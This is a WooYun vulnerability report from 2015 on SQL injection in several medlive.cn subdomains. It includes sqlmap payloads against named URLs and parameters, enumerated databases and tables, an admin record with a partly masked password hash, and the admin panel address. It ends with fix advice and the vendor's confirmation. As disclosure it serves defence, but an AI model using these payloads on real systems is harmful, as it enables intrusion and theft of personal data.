当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110630

漏洞标题:医脉通多处分站SQL注入漏洞#部分员工信息泄漏

相关厂商:medlive.cn

漏洞作者: Taro

提交时间:2015-04-28 11:10

修复时间:2015-06-12 17:06

公开时间:2015-06-12 17:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-28: 细节已通知厂商并且等待厂商处理中
2015-04-28: 厂商已经确认,细节仅向厂商公开
2015-05-08: 细节向核心白帽子及相关领域专家公开
2015-05-18: 细节向普通白帽子公开
2015-05-28: 细节向实习白帽子公开
2015-06-12: 细节向公众公开

简要描述:

rt...

详细说明:

1.新编全医药学大词典
http://dic.medlive.cn/common/ajax.inc.php
domain_id=1&ip_id=104462 两个参数都可以注入

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: domain_id
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: domain_id=1 RLIKE (SELECT (CASE WHEN (7715=7715) THEN 1 ELSE 0x28 END))&ip_id=104462
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: domain_id=1 AND (SELECT 1852 FROM(SELECT COUNT(*),CONCAT(0x7166706271,(SELECT (CASE WHEN (1852=1852) THEN 1 ELSE 0 END)),0x7161756c71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&ip_id=104462
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: domain_id=1 AND 7530=BENCHMARK(5000000,MD5(0x6a716a43))&ip_id=104462
Place: POST
Parameter: ip_id
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: domain_id=1&ip_id=104462 RLIKE (SELECT (CASE WHEN (9710=9710) THEN 104462 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: domain_id=1&ip_id=104462 AND (SELECT 5419 FROM(SELECT COUNT(*),CONCAT(0x7166706271,(SELECT (CASE WHEN (5419=5419) THEN 1 ELSE 0 END)),0x7161756c71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: domain_id=1&ip_id=104462 AND SLEEP(5)
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: ip_id, type: Unescaped numeric (default)
[1] place: POST, parameter: domain_id, type: Unescaped numeric
[q] Quit
>
[12:28:35] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.14
back-end DBMS: MySQL 5.0
available databases [2]:
[*] dic
[*] information_schema


Database: dic
[7 tables]
+----------------+
| domain |
| admin |
| applyuser |
| member_info |
| presentee_list |
| recommend_list |
| scan_list |
+----------------+
Database: dic
Table: admin
[1 entry]
+--------+---------+----------+----------+----------------------------------+
| userid | groupid | username | truename | password |
+--------+---------+----------+----------+----------------------------------+
| 1 | 1 | admin | 超级管理员 | a2fb8873380f7a28e672d0************ |
+--------+---------+----------+----------+----------------------------------+


网站后台http://dic.medlive.cn/kyadmin.php
员工信息泄漏,共计839条

89FB3B506CF04605ADF0E4245EC01EE7.png


2.hight动生活DIY大赛
http://diy.medlive.cn/?action=diy_search&file=diy

SG7{$ID`SD906C72D(C5{(K.png


3.中国心例程
http://co-diovan.medlive.cn/?m=case&c=option&action=detail&id=278

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: m=case&c=option&action=detail&id=278 AND 7653=7653
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: m=case&c=option&action=detail&id=278 AND SLEEP(5)
---
[12:57:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.3
web application technology: Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[12:57:20] [INFO] fetching database names
[12:57:20] [INFO] fetching number of databases
[12:57:20] [INFO] resumed: 2
[12:57:20] [INFO] resumed: information_schema
[12:57:20] [INFO] resumed: fudaiwen_app
available databases [2]:
[*] fudaiwen_app
[*] information_schema

漏洞证明:

修复方案:

1.参数过滤啊
2.后台目录限制访问

版权声明:转载请注明来源 Taro@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-28 17:05

厂商回复:

非常感谢!!

最新状态:

暂无